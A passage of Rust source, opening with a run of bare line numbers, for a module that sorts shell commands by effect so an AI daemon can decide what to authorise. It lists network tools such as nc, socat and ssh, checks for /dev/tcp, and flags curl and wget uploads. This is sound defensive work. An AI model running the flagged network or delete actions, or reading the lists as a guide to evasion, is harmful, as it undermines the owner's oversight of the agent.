5304
5305
5306
5307
5308
5309
5310
5311
5312
5313
5314
5315
5316
5317
5318
5319
5320
5321
5322
5323
5324
5325
5326
5327
5328
5329
5330
5331
5332
5333
5334
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344
5345
5346
5347
5348
5349
5350
5351
5352
5353
5354
5355
5356
5357
5358
5359
5360
5361
5362
5363
5364
5365
5366
5367
5368
5369
5370
5371
5372
5373
5374
5375
5376
5377
5378
5379
5380
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398
5399
5400
5401
5402
5403
5404
5405
5406
5407
5408
5409
5410
5411
5412
5413
5414
5415
5416
5417
5418
5419
5420
5421
5422
5423
5424
5425
5426
5427
5428
5429
5430
5431
5432
5433
5434
5435
5436
5437
5438
5439
5440
5441
5442
5443
5444
5445
5446
5447
5448
5449
5450
5451
5452
5453
5454
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466
5467
5468
5469
5470
5471
5472
5473
5474
5475
5476
5477
5478
5479
5480
5481
5482
5483
5484
5485
5486
5487
5488
5489
5490
5491
5492
5493
5494
5495
5496
5497
5498
5499
5500
5501
5502
5503
5504
5505
5506
5507
5508
5509
5510
5511
5512
5513
5514
5515
5516
5517
5518
5519
5520
5521
5522
5523
5524
5525
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542
5543
5544
5545
5546
5547
5548
5549
5550
5551
5552
5553
5554
5555
5556
5557
5558
5559
5560
5561
5562
5563
5564
5565
5566
5567
5568
5569
5570
5571
5572
5573
5574
5575
5576
5577
5578
5579
5580
5581
5582
5583
5584
5585
5586
5587
5588
5589
5590
5591
5592
5593
5594
5595
5596
5597
5598
5599
5600
5601
5602
5603
5604
5605
5606
5607
5608
5609
5610
5611
5612
5613
5614
5615
5616
5617
5618
5619
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629
5630
5631
5632
5633
5634
5635
5636
5637
5638
5639
5640
5641
5642
5643
5644
5645
5646
5647
5648
5649
5650
5651
5652
5653
5654
5655
5656
5657
5658
5659
5660
5661
5662
5663
5664
5665
5666
5667
5668
5669
5670
5671
5672
5673
5674
5675
5676
5677
5678
5679
5680
5681
5682
5683
5684
5685
5686
5687
5688
5689
5690
5691
5692
5693
5694
5695
5696
5697
5698
5699
5700
5701
5702
5703
5704
5705
5706
5707
5708
5709
5710
5711
5712
5713
5714
5715
5716
5717
5718
5719
5720
5721
5722
5723
5724
5725
5726
5727
5728
5729
5730
5731
5732
5733
5734
5735
5736
5737
5738
5739
5740
5741
5742
5743
5744
5745
5746
5747
5748
5749
5750
5751
5752
5753
5754
5755
5756
5757
5758
5759
5760
5761
5762
5763
5764
5765
5766
5767
5768
5769
5770
5771
5772
5773
5774
5775
5776
5777
5778
5779
5780
5781
5782
5783
5784
5785
5786
5787
5788
5789
5790
5791
5792
5793
5794
5795
5796
5797
5798
5799
5800
5801
5802
5803
5804
5805
5806
5807
5808
5809
5810
5811
5812
5813
5814
5815
5816
5817
5818
5819
5820
5821
5822
5823
5824
5825
5826
5827
5828
5829
5830
5831
5832
5833
5834
5835
5836
5837
5838
5839
5840
5841
5842
5843
5844
5845
5846
5847
5848
5849
5850
5851
5852
5853
5854
5855
5856
5857
5858
5859
5860
5861
5862
5863
5864
5865
5866
5867
5868
5869
5870
5871
5872
5873
5874
5875
5876
5877
5878
5879
5880
5881
5882
5883
5884
5885
5886
5887
5888
5889
5890
5891
5892
5893
5894
5895
5896
5897
5898
5899
5900
5901
5902
5903
5904
5905
5906
5907
5908
5909
5910
5911
5912
5913
5914
5915
5916
5917
5918
5919
5920
5921
5922
5923
5924
5925
5926
5927
5928
5929
5930
5931
5932
5933
5934
5935
5936
5937
5938
5939
5940
5941
5942
5943
5944
5945
5946
5947
5948
5949
5950
5951
5952
5953
5954
5955
5956
5957
5958
5959
5960
5961
5962
5963
5964
5965
5966
5967
5968
5969
5970
5971
5972
5973
5974
5975
5976
5977
5978
5979
5980
5981
5982
5983
5984
5985
5986
5987
5988
5989
5990
5991
5992
5993
5994
5995
5996
5997
5998
5999
6000
6001
6002
6003
6004
6005
6006
6007
6008
6009
6010
6011
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021
6022
6023
6024
6025
6026
6027
6028
6029
6030
6031
6032
6033
6034
6035
6036
6037
6038
6039
6040
6041
6042
6043
6044
6045
6046
6047
6048
6049
6050
6051
6052
6053
6054
6055
6056
6057
6058
6059
6060
6061
6062
6063
6064
6065
6066
6067
6068
6069
6070
6071
6072
6073
6074
6075
6076
6077
6078
6079
6080
6081
6082
6083
6084
6085
6086
6087
6088
6089
6090
6091
6092
6093
6094
6095
6096
6097
6098
6099
6100
6101
6102
6103
6104
6105
6106
6107
6108
6109
6110
6111
6112
6113
6114
6115
6116
6117
6118
6119
6120
6121
6122
6123
6124
6125
6126
6127
6128
6129
6130
6131
6132
6133
6134
6135
6136
6137
6138
6139
6140
6141
6142
6143
6144
6145
6146
6147
6148
6149
6150
6151
6152
6153
6154
6155
6156
6157
6158
6159
6160
6161
6162
6163
6164
6165
6166
6167
6168
6169
6170
6171
6172
6173
6174
6175
6176
6177
6178
6179
6180
6181
6182
6183
6184
6185
6186
6187
6188
6189
6190
6191
6192
6193
6194
6195
6196
6197
6198
6199
6200
6201
6202
6203
6204
6205
6206
6207
6208
6209
6210
6211
6212
6213
6214
6215
6216
6217
6218
6219
6220
6221
6222
6223
6224
6225
6226
6227
//! Structural typing of a shell command's effects for authority decisions.
//!
//! Fail closed: `observation_only` is an allowlist of shapes this module fully
//! understands (an exact executable table, per-program option rules, and a
//! quote-aware syntax scan). Anything unusual (env assignments, heredocs,
//! comments, newlines, groupings, wrappers, unparsable segments) is simply not
//! observation-only. `deletes` and `fetches_network` err the other way: they
//! unwrap wrappers and groupings and over-report rather than miss.
//! No wording of the command is ever read for intent.

use crate::command_risk::structural_shell_invocations;
use aidaemon_core::{CallEffects, EffectClass, EffectKey};

#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CommandEffects {
    /// Every executable is a known observer used in a known observing shape.
    pub observation_only: bool,
    /// Some command removes files (`rm`, `find -delete`, `git clean`, ...),
    /// including behind wrappers and groupings.
    pub deletes: bool,
    /// Every command is ordinary local work: an exact `LOCAL_WORK` program
    /// in an allowed shape, or an observation. Fail closed like
    /// `observation_only`, except that output redirection into files and
    /// newline-separated scripts are allowed.
    pub local_work_only: bool,
    /// The paths deleting commands name, as written. `None` when a delete
    /// target cannot be read structurally (variables, substitutions, piped
    /// arguments, `git clean`).
    pub delete_targets: Option<Vec<String>>,
    /// Some command runs code the project defines: a build or test runner
    /// (`make`, `cargo build`, `npm run`, `pytest`, ...) executes the
    /// project's own build scripts, tests and hooks, and an interpreter
    /// handed a script runs that script. Local work by its shape, but what
    /// it does is whatever the project's files say, so on an unconfined
    /// host it can reach anything. Over-reports (wrappers and groupings are
    /// unwrapped) rather than miss.
    pub runs_project_code: bool,
}

/// Executables whose invocation only reads or prints, matched on the bare
/// name (or an absolute path in a system bin directory). `sed` is absent on
/// purpose: its script can write (`w`) or execute (`e`) and cannot be checked
/// structurally.
const OBSERVATION_PROGRAMS: &[&str] = &[
    "ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep", "rg", "find", "stat", "file",
    "pwd", "echo", "printf", "which", "whoami", "id", "uname", "date", "du", "df", "tree", "sort",
    "uniq", "cut", "tr", "diff", "cmp", "basename", "dirname", "realpath", "readlink", "jq", "ps",
    "hostname", "sw_vers", "true", "git", "test", "[", "sleep", "uptime", "sysctl", "top",
];

const SYSTEM_BIN_DIRS: &[&str] = &[
    "/bin",
    "/usr/bin",
    "/usr/local/bin",
    "/opt/homebrew/bin",
    "/sbin",
    "/usr/sbin",
];

const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];

/// Ordinary local work on the owner's machine, matched on the bare name:
/// builds, tests, local version control and file shuffling. Programs with a
/// subcommand list are local work only for those subcommands; the rest take
/// any arguments. `cd` changes only the shell's own directory. Deleting
/// programs are listed because where they point is judged separately.
const LOCAL_WORK_PROGRAMS: &[&str] = &[
    "make",
    "cmake",
    "ninja",
    "pytest",
    "rustc",
    "xcodebuild",
    "mkdir",
    "touch",
    "cp",
    "mv",
    "ln",
    "chmod",
    "cd",
    "rm",
    "rmdir",
    "unlink",
];

const LOCAL_WORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
    (
        "cargo",
        &[
            "build", "check", "test", "clippy", "fmt", "run", "bench", "doc", "tree", "metadata",
        ],
    ),
    (
        "git",
        &[
            "add",
            "commit",
            "status",
            "diff",
            "log",
            "show",
            "branch",
            "switch",
            "checkout",
            "restore",
            "stash",
            "merge",
            "rebase",
            "reset",
            "tag",
            "rm",
            "mv",
            "init",
            "worktree",
            "rev-parse",
            "ls-files",
            "blame",
        ],
    ),
    ("npm", &["test", "run", "build", "lint"]),
    ("pnpm", &["test", "run", "build", "lint"]),
    ("yarn", &["test", "run", "build", "lint"]),
    ("go", &["build", "test", "vet", "fmt", "run"]),
    ("swift", &["build", "test"]),
];

/// `ddev` subcommands that only report on a local project.
const DDEV_QUERY_SUBCOMMANDS: &[&str] = &["describe", "status", "st", "list", "version", "logs"];

/// Read-only queries run through a project's own tools inside its local
/// containers: (`ddev` subcommand, its command, the command's read-only
/// subcommands).
const DDEV_TOOL_QUERIES: &[(&str, &str, &[&str])] = &[
    ("wp", "core", &["is-installed", "version"]),
    ("wp", "option", &["get", "list"]),
    (
        "wp",
        "plugin",
        &["list", "status", "is-installed", "is-active"],
    ),
    (
        "wp",
        "theme",
        &["list", "status", "is-installed", "is-active"],
    ),
    ("wp", "user", &["list", "get"]),
    ("wp", "post", &["list", "get"]),
];

/// `drush` commands that only report.
const DRUSH_QUERIES: &[&str] = &["status", "st", "core:status", "core-status", "pm:list"];

/// Options through which WP-CLI or drush run code or a file of their own.
const DDEV_TOOL_CODE_OPTIONS: &[&str] = &["--exec", "--require", "--eval", "--include", "--ssh"];

/// A `ddev` call that only asks a local project about itself: a project
/// report, or a read-only WP-CLI or drush query run in the project's
/// containers. Starting, importing or installing (which can pull from the
/// network) and `exec`/`ssh` (any command) are not.
fn ddev_query_ok(args: &[String]) -> bool {
    if args.iter().any(|arg| {
        DDEV_TOOL_CODE_OPTIONS
            .iter()
            .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
    }) {
        return false;
    }
    let words: Vec<&str> = args
        .iter()
        .map(String::as_str)
        .filter(|arg| !arg.starts_with('-'))
        .collect();
    match words.as_slice() {
        [sub, ..] if DDEV_QUERY_SUBCOMMANDS.contains(sub) => true,
        ["drush", command, ..] => DRUSH_QUERIES.contains(command),
        [tool, command, sub, ..] => DDEV_TOOL_QUERIES
            .iter()
            .any(|(t, c, subs)| t == tool && c == command && subs.contains(sub)),
        _ => false,
    }
}

const FIND_MUTATING_FLAGS: &[&str] = &[
    "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls",
];

const GIT_OBSERVATION_SUBCOMMANDS: &[&str] = &[
    "status",
    "log",
    "diff",
    "show",
    "rev-parse",
    "ls-files",
    "blame",
    "rev-list",
];

/// Programs that run another command named in their arguments (and shell
/// reserved words that introduce one). The inner command is searched at every
/// later argument position, so option operands cannot hide it.
const WRAPPERS: &[&str] = &[
    "sudo", "doas", "nice", "nohup", "timeout", "stdbuf", "time", "command", "exec", "xargs",
    "env", "builtin", "ionice", "setsid", "{", "!", "if", "then", "else", "elif", "do", "while",
    "until",
];

/// Executables that reach the network whatever their arguments.
const NETWORK_PROGRAMS: &[&str] = &[
    "curl",
    "wget",
    "http",
    "https",
    "xh",
    "nc",
    "ncat",
    "netcat",
    "telnet",
    "ssh",
    "scp",
    "sftp",
    "rsync",
    "ftp",
    "lftp",
    "aria2c",
    "gh",
    "npx",
    "bunx",
    "uvx",
    "svn",
    "socat",
    "ping",
    "dig",
    "host",
    "nslookup",
    "whois",
    "tftp",
    "mosh",
    "rclone",
    "aws",
    "gcloud",
    "kubectl",
    "invoke-webrequest",
];

// Windows PowerShell, the shell on Windows (`platform_shell`). Its names
// have no case, so they are listed lowercase and compared that way. Only
// commands with plain arguments count: a script block, a variable, a
// subexpression, a splat or an escape (`{` `$` `(` `@` `` ` ``) can run
// code the tables cannot see, so any of them makes the command unknown.

/// Cmdlets (and their aliases) that only read or print.
const POWERSHELL_OBSERVATIONS: &[&str] = &[
    "get-content",
    "gc",
    "type",
    "get-childitem",
    "gci",
    "dir",
    "get-item",
    "gi",
    "get-itemproperty",
    "gp",
    "get-location",
    "gl",
    "test-path",
    "resolve-path",
    "rvpa",
    "split-path",
    "join-path",
    "select-string",
    "sls",
    "get-date",
    "get-process",
    "gps",
    "get-filehash",
    "measure-object",
    "measure",
    "sort-object",
    "select-object",
    "select",
    "compare-object",
    "format-list",
    "fl",
    "format-table",
    "ft",
    "format-wide",
    "fw",
    "out-string",
    "out-null",
    "out-host",
    "write-output",
    "write",
    "write-host",
    "start-sleep",
];

/// Cmdlets (and their aliases) that make, write, copy or move files, or
/// change the shell's own directory: ordinary local work, as `mkdir`, `cp`
/// and `mv` are.
const POWERSHELL_LOCAL_WORK: &[&str] = &[
    "new-item",
    "ni",
    "md",
    "set-content",
    "sc",
    "add-content",
    "ac",
    "out-file",
    "copy-item",
    "copy",
    "cpi",
    "move-item",
    "move",
    "mi",
    "rename-item",
    "ren",
    "rni",
    "set-location",
    "sl",
    "chdir",
    "push-location",
    "pushd",
    "pop-location",
    "popd",
];

/// Cmdlets (and their aliases) that delete. Where they point is judged as
/// `rm`'s targets are.
const POWERSHELL_DELETES: &[&str] = &["remove-item", "ri", "del", "erase", "rd"];

/// Whether `program` is in a PowerShell table, when PowerShell is the shell.
fn in_powershell_table(table: &[&str], program: &str) -> bool {
    cfg!(windows) && table.iter().any(|name| name.eq_ignore_ascii_case(program))
}

/// No argument that can carry code PowerShell would run.
fn powershell_args_plain(args: &[String]) -> bool {
    !args
        .iter()
        .any(|arg| arg.contains(['{', '}', '$', '(', ')', '@', '`']))
}

/// A PowerShell command that only reads or prints.
fn is_powershell_observation(program: &str, args: &[String]) -> bool {
    in_powershell_table(POWERSHELL_OBSERVATIONS, program) && powershell_args_plain(args)
}

/// Whether `program args` only reads or prints: a listed program in an
/// allowed shape, or (Windows) a reading cmdlet with plain arguments.
fn is_program_observation(program: &str, args: &[String]) -> bool {
    (OBSERVATION_PROGRAMS.contains(&program) && observation_args_ok(program, args))
        || is_powershell_observation(program, args)
}

/// A deleting program: `rm` and its kin, or (Windows) `Remove-Item` and its
/// aliases.
fn is_delete_program(program: &str) -> bool {
    DELETE_PROGRAMS.contains(&program) || in_powershell_table(POWERSHELL_DELETES, program)
}

/// The command as the analysis reads it. In PowerShell a backslash is a
/// path separator, not an escape (its escape is the backtick), so on
/// Windows every backslash reads as `/`: `C:/Users/x` is the same path
/// there, and `C:\; Remove-Item x` stays two commands.
fn shell_text(command: &str) -> std::borrow::Cow<'_, str> {
    if cfg!(windows) && command.contains('\\') {
        std::borrow::Cow::Owned(command.replace('\\', "/"))
    } else {
        std::borrow::Cow::Borrowed(command)
    }
}

/// (program, subcommands): network when ANY non-option argument matches.
const NETWORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
    (
        "git",
        &[
            "fetch",
            "clone",
            "pull",
            "ls-remote",
            "submodule",
            "push",
            "update",
        ],
    ),
    (
        "npm",
        &[
            "install", "add", "i", "ci", "exec", "update", "fetch", "search", "view", "info",
            "publish",
        ],
    ),
    (
        "pnpm",
        &[
            "install", "add", "i", "dlx", "update", "fetch", "search", "view", "info", "publish",
        ],
    ),
    (
        "yarn",
        &[
            "install", "add", "i", "update", "fetch", "search", "view", "info", "publish",
        ],
    ),
    ("pip", &["install", "download"]),
    ("pip3", &["install", "download"]),
    (
        "cargo",
        &[
            "install", "add", "update", "fetch", "search", "view", "info", "publish",
        ],
    ),
    ("bun", &["install", "add", "i"]),
    ("uv", &["pip", "add", "sync"]),
    ("brew", &["install", "update", "upgrade", "fetch"]),
    ("go", &["get", "install", "download"]),
    ("docker", &["pull", "run", "build", "push"]),
    ("gem", &["install"]),
    ("apt", &["install", "update"]),
    ("apt-get", &["install", "update"]),
    ("hg", &["pull", "clone"]),
    ("openssl", &["s_client"]),
];

/// Whether any command (behind wrappers, groupings, substitutions and
/// `sh -c`) asks a remote service to change something: curl with a method
/// other than GET/HEAD, a body, a form or an upload; wget with a body or
/// such a method; `git push`. Read from option structure, so a plain fetch
/// is not a write. Other network programs are not judged here.
pub fn sends_remote_write(command: &str) -> bool {
    expanded_commands(command).iter().any(|tokens| {
        let args = &tokens[1..];
        match basename(&tokens[0]) {
            "curl" => curl_sends_write(args),
            "wget" => wget_sends_write(args),
            "git" => git_subcommand(args) == Some("push"),
            _ => false,
        }
    })
}

fn writes_with_method(method: &str) -> bool {
    !matches!(method.to_ascii_uppercase().as_str(), "GET" | "HEAD")
}

fn curl_sends_write(args: &[String]) -> bool {
    let mut iter = args.iter();
    while let Some(arg) = iter.next() {
        if let Some(long) = arg.strip_prefix("--") {
            let (name, inline) = match long.split_once('=') {
                Some((name, value)) => (name, Some(value)),
                None => (long, None),
            };
            if name == "request" {
                let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
                if method.is_none_or(|method| writes_with_method(&method)) {
                    return true;
                }
            } else if name.starts_with("data")
                || name == "json"
                || name.starts_with("form")
                || name == "upload-file"
            {
                return true;
            }
        } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) {
            // A valued short option ends its cluster; the rest is its value.
            for (at, c) in cluster.char_indices() {
                match c {
                    'd' | 'F' | 'T' => return true,
                    'X' => {
                        let rest = &cluster[at + 1..];
                        let method = if rest.is_empty() {
                            iter.next().cloned()
                        } else {
                            Some(rest.to_string())
                        };
                        if method.is_none_or(|method| writes_with_method(&method)) {
                            return true;
                        }
                        break;
                    }
                    _ => {}
                }
            }
        }
    }
    false
}

fn wget_sends_write(args: &[String]) -> bool {
    let mut iter = args.iter();
    while let Some(arg) = iter.next() {
        let Some(long) = arg.strip_prefix("--") else {
            continue;
        };
        let (name, inline) = match long.split_once('=') {
            Some((name, value)) => (name, Some(value)),
            None => (long, None),
        };
        match name {
            "post-data" | "post-file" | "body-data" | "body-file" => return true,
            "method" => {
                let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
                if method.is_none_or(|method| writes_with_method(&method)) {
                    return true;
                }
            }
            _ => {}
        }
    }
    false
}

/// git's subcommand: the first positional after its global options (`-C`
/// and `-c` take a value).
fn git_subcommand(args: &[String]) -> Option<&str> {
    let mut iter = args.iter();
    while let Some(arg) = iter.next() {
        if arg == "-C" || arg == "-c" {
            iter.next();
        } else if !arg.starts_with('-') {
            return Some(arg);
        }
    }
    None
}

/// Whether any command (behind wrappers, groupings, substitutions and
/// `sh -c`) is a known network-reaching executable or subcommand.
pub fn fetches_network(command: &str) -> bool {
    if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
        return true;
    }
    expanded_commands(command).iter().any(|tokens| {
        let program = basename(&tokens[0]);
        let args = &tokens[1..];
        if NETWORK_PROGRAMS.contains(&program) {
            return true;
        }
        if program == "yarn" && args.iter().all(|arg| arg.starts_with('-')) {
            return true;
        }
        if program == "git" {
            let has = |word: &str| args.iter().any(|arg| arg == word);
            if (has("remote") && has("update"))
                || (has("archive") && args.iter().any(|arg| arg.starts_with("--remote")))
            {
                return true;
            }
        }
        NETWORK_SUBCOMMANDS.iter().any(|(name, subs)| {
            *name == program
                && args
                    .iter()
                    .any(|arg| !arg.starts_with('-') && subs.contains(&arg.as_str()))
        })
    })
}

/// Whether writing `path` can plant git configuration. A structural path
/// fact, deliberately over-reporting:
/// - a `.git`, `.gitattributes` or `.gitmodules` component, or a `.gitconfig`
///   file name, compared ASCII-case-insensitively (APFS and NTFS fold case)
///   after stripping trailing dots and spaces (Windows drops them);
/// - global and system configuration: `~/.config/git/**`,
///   `$XDG_CONFIG_HOME/git/**`, `/etc/gitconfig`, and any `.config/git`
///   component pair (relative paths may resolve under the home directory).
///
/// `~`, `$HOME` and `${HOME}` prefixes are expanded and `.`/`..` are
/// normalized lexically before the global checks.
pub fn is_git_config_path(path: &str) -> bool {
    let raw = path_components(path);
    if raw.iter().any(|part| is_repo_config_component(part)) {
        return true;
    }
    let expanded = expand_home(path);
    let normalized = normalize_components(&path_components(&expanded));
    if normalized.iter().any(|part| is_repo_config_component(part))
        || normalized.windows(2).any(|pair| {
            pair[0].eq_ignore_ascii_case(".config") && pair[1].eq_ignore_ascii_case("git")
        })
    {
        return true;
    }
    let absolute = expanded.starts_with('/') || expanded.starts_with('\\');
    if absolute
        && normalized.len() == 2
        && normalized[0].eq_ignore_ascii_case("etc")
        && normalized[1].eq_ignore_ascii_case("gitconfig")
    {
        return true;
    }
    let under = |base: std::path::PathBuf| {
        let base = normalize_components(&path_components(&base.to_string_lossy()));
        absolute
            && !base.is_empty()
            && normalized.len() > base.len()
            && normalized
                .iter()
                .zip(&base)
                .all(|(a, b)| a.eq_ignore_ascii_case(b))
    };
    if dirs::home_dir().is_some_and(|home| under(home.join(".config").join("git"))) {
        return true;
    }
    std::env::var_os("XDG_CONFIG_HOME")
        .filter(|value| !value.is_empty())
        .is_some_and(|xdg| under(std::path::PathBuf::from(xdg).join("git")))
}

/// Components of `path` with Windows-insignificant trailing dots and spaces
/// removed (`.` and `..` are kept as-is).
fn path_components(path: &str) -> Vec<String> {
    path.split(['/', '\\'])
        .filter(|part| !part.is_empty())
        .map(|part| {
            if part == "." || part == ".." {
                part.to_string()
            } else {
                part.trim_end_matches(['.', ' ']).to_string()
            }
        })
        .filter(|part| !part.is_empty())
        .collect()
}

fn normalize_components(parts: &[String]) -> Vec<String> {
    let mut out: Vec<String> = Vec::new();
    for part in parts {
        match part.as_str() {
            "." => {}
            ".." => {
                if out.last().is_some_and(|last| last != "..") {
                    out.pop();
                } else {
                    out.push(part.clone());
                }
            }
            _ => out.push(part.clone()),
        }
    }
    out
}

fn is_repo_config_component(part: &str) -> bool {
    [".git", ".gitattributes", ".gitmodules", ".gitconfig"]
        .iter()
        .any(|name| part.eq_ignore_ascii_case(name))
}

fn expand_home(path: &str) -> String {
    let rest = ["~", "$HOME", "${HOME}"].iter().find_map(|prefix| {
        path.strip_prefix(prefix)
            .filter(|rest| rest.is_empty() || rest.starts_with(['/', '\\']))
    });
    match (rest, dirs::home_dir()) {
        (Some(rest), Some(home)) => format!("{}{rest}", home.to_string_lossy()),
        _ => path.to_string(),
    }
}

/// Whether the directory `root` (home-expanded, resolved against `base` when
/// relative) holds a `.git` entry directly inside it, so a write anywhere
/// under it can plant repository configuration.
pub fn root_holds_repository(root: &str, base: Option<&str>) -> bool {
    let root = root.trim();
    if root.is_empty() {
        return false;
    }
    let mut path = std::path::PathBuf::from(expand_home(root));
    if path.is_relative()
        && let Some(base) = base.map(str::trim).filter(|base| !base.is_empty())
    {
        path = std::path::PathBuf::from(expand_home(base)).join(path);
    }
    path.join(".git").exists()
}

/// Whether any shell word of `command` (including redirect targets,
/// `--opt=value` operands, substitution bodies and nested `sh -c` scripts)
/// names a git configuration path per `is_git_config_path`.
pub fn command_names_git_config_path(command: &str) -> bool {
    names_git_config(command, 0)
}

fn names_git_config(command: &str, depth: usize) -> bool {
    if depth > MAX_DEPTH {
        return false;
    }
    let scanned = scan(command);
    for segment in &scanned.segments {
        let words = shell_words::split(segment)
            .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
        for word in words {
            let target = word.trim_start_matches(|c: char| {
                c.is_ascii_digit() || matches!(c, '>' | '<' | '&' | '|')
            });
            let operand = word.split_once('=').map(|(_, value)| value);
            if [Some(word.as_str()), Some(target), operand]
                .into_iter()
                .flatten()
                .any(|candidate| !candidate.is_empty() && is_git_config_path(candidate))
            {
                return true;
            }
            if word.contains(char::is_whitespace) && names_git_config(&word, depth + 1) {
                return true;
            }
        }
    }
    substitution_bodies(command)
        .iter()
        .any(|body| names_git_config(body, depth + 1))
}

pub fn command_effects(command: &str) -> CommandEffects {
    // ANSI-C quoting (`$'..'`) escapes quotes in a way the scan cannot
    // follow, so a command may hide behind it: over-report.
    let deletes = command.contains("$'")
        || expanded_commands(command).iter().any(|tokens| {
            let program = basename(&tokens[0]);
            let args = &tokens[1..];
            is_delete_program(program)
                || (program == "find" && args.iter().any(|arg| arg == "-delete"))
                || (program == "git" && args.iter().any(|arg| arg == "clean"))
        });
    CommandEffects {
        observation_only: is_observation_only(command),
        deletes,
        local_work_only: is_local_work_only(command),
        runs_project_code: command.contains("$'")
            || expanded_commands(command)
                .iter()
                .any(|tokens| runs_project_code(basename(&tokens[0]), &tokens[1..])),
        delete_targets: if command.contains("$'") {
            None
        } else {
            delete_targets(command)
        },
    }
}

/// Paths named by every deleting command, or `None` when any cannot be
/// determined: a target with shell expansion (variables, substitutions,
/// globs, braces, `~`) or a `find` placeholder, a deleting command with no
/// target (arguments arriving through a pipe), `find` without explicit
/// start paths, `git clean` (its targets are whatever is untracked), or a
/// relative target in a command that changes directory (`cd`, `pushd`,
/// `popd`), since the shell then deletes relative to somewhere else.
fn delete_targets(command: &str) -> Option<Vec<String>> {
    let unreadable = |target: &str| {
        target.is_empty() || target.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
    };
    let commands = expanded_commands(command);
    let changes_directory = commands
        .iter()
        .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
    let mut targets: Vec<String> = Vec::new();
    for tokens in &commands {
        let program = basename(&tokens[0]);
        let args = &tokens[1..];
        let named: Vec<&String> = if is_delete_program(program) {
            let mut options_done = false;
            args.iter()
                .filter(|arg| {
                    if options_done {
                        return true;
                    }
                    if arg.as_str() == "--" {
                        options_done = true;
                        return false;
                    }
                    !arg.starts_with('-')
                })
                .collect()
        } else if program == "find" && args.iter().any(|arg| arg == "-delete") {
            // Start paths come first; a leading option (`-L`, `-H`, `-O3`,
            // `-D x`, BSD `-f path`) makes them unreadable here, and none at
            // all means the shell's own directory.
            if args.first().is_none_or(|arg| arg.starts_with('-')) {
                return None;
            }
            args.iter()
                .take_while(|arg| !arg.starts_with(['-', '(', '!']))
                .collect()
        } else if program == "git" && args.iter().any(|arg| arg == "clean") {
            return None;
        } else {
            continue;
        };
        if named.is_empty() || named.iter().any(|target| unreadable(target)) {
            return None;
        }
        if changes_directory
            && named
                .iter()
                .any(|target| !crate::BackendPath::is_absolute(target))
        {
            return None;
        }
        for target in named {
            if !targets.contains(target) {
                targets.push(target.clone());
            }
        }
    }
    Some(targets)
}

/// Every operand a command could read as a path, as written: each
/// non-option argument of every reachable command (patterns included; they
/// are judged as paths, which only over-reports), and the value of a
/// `--option=value`. `None` when any cannot be determined structurally: shell
/// expansion (variables, substitutions, globs, braces, `~` other than a
/// leading `~/`), ANSI-C quoting, an option with a path glued to it
/// (`-I/x`), or a command that changes directory (`cd`, `pushd`, `popd`),
/// since relative operands then resolve somewhere else.
pub fn path_operands(command: &str) -> Option<Vec<String>> {
    if command.contains("$'") {
        return None;
    }
    let unreadable = |operand: &str| {
        let rest = operand
            .strip_prefix("~/")
            .or_else(|| (operand == "~").then_some(""))
            .unwrap_or(operand);
        rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
    };
    let commands = expanded_commands(command);
    let mut operands: Vec<String> = Vec::new();
    // Input-redirect targets are read like any operand.
    for line in command.replace("\\\n", " ").split('\n') {
        for target in scan(line).input_targets {
            if unreadable(&target) || target.contains(['"', '\'']) {
                return None;
            }
            if !operands.contains(&target) {
                operands.push(target);
            }
        }
    }
    for tokens in &commands {
        // `cd` moves where relative operands resolve; `xargs` and `parallel`
        // take their operands from stdin, which no argument names.
        if matches!(
            basename(&tokens[0]),
            "cd" | "pushd" | "popd" | "xargs" | "parallel"
        ) {
            return None;
        }
        let mut options_done = false;
        for arg in &tokens[1..] {
            let operand = if options_done || !arg.starts_with('-') {
                arg.as_str()
            } else if arg == "--" {
                options_done = true;
                continue;
            } else if let Some((_, value)) = arg.split_once('=') {
                value
            } else if arg.contains(['/', '~']) {
                return None;
            } else {
                continue;
            };
            if operand.is_empty() {
                continue;
            }
            if unreadable(operand) {
                return None;
            }
            if !operands.iter().any(|known| known == operand) {
                operands.push(operand.to_string());
            }
        }
    }
    Some(operands)
}

/// The literal paths a command names, for facts about named files (never
/// for trust or confinement, which need [`path_operands`]'s all-or-nothing
/// reading): every absolute or `~/` operand of every reachable command, plus
/// its relative operands while no command changes directory. An operand
/// that does not read literally (expansion, quoting the scanner cannot
/// settle) is skipped, never guessed, and the rest still count.
pub fn literal_path_operands(command: &str) -> Vec<String> {
    let literal = |operand: &str| {
        let rest = operand
            .strip_prefix("~/")
            .or_else(|| (operand == "~").then_some(""))
            .unwrap_or(operand);
        !operand.is_empty()
            && !rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~', '"', '\''])
    };
    let commands = expanded_commands(command);
    let moves = commands.iter().any(|tokens| {
        tokens
            .first()
            .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
    });
    let mut operands: Vec<String> = Vec::new();
    let mut add = |operand: &str| {
        let anchored =
            crate::BackendPath::is_absolute(operand) || operand == "~" || operand.starts_with("~/");
        if literal(operand)
            && (anchored || !moves)
            && !operands.iter().any(|known| known == operand)
        {
            operands.push(operand.to_string());
        }
    };
    for line in command.replace("\\\n", " ").split('\n') {
        for target in scan(line).input_targets {
            add(&target);
        }
    }
    for tokens in &commands {
        let mut options_done = false;
        for arg in tokens.iter().skip(1) {
            if options_done || !arg.starts_with('-') {
                add(arg);
            } else if arg == "--" {
                options_done = true;
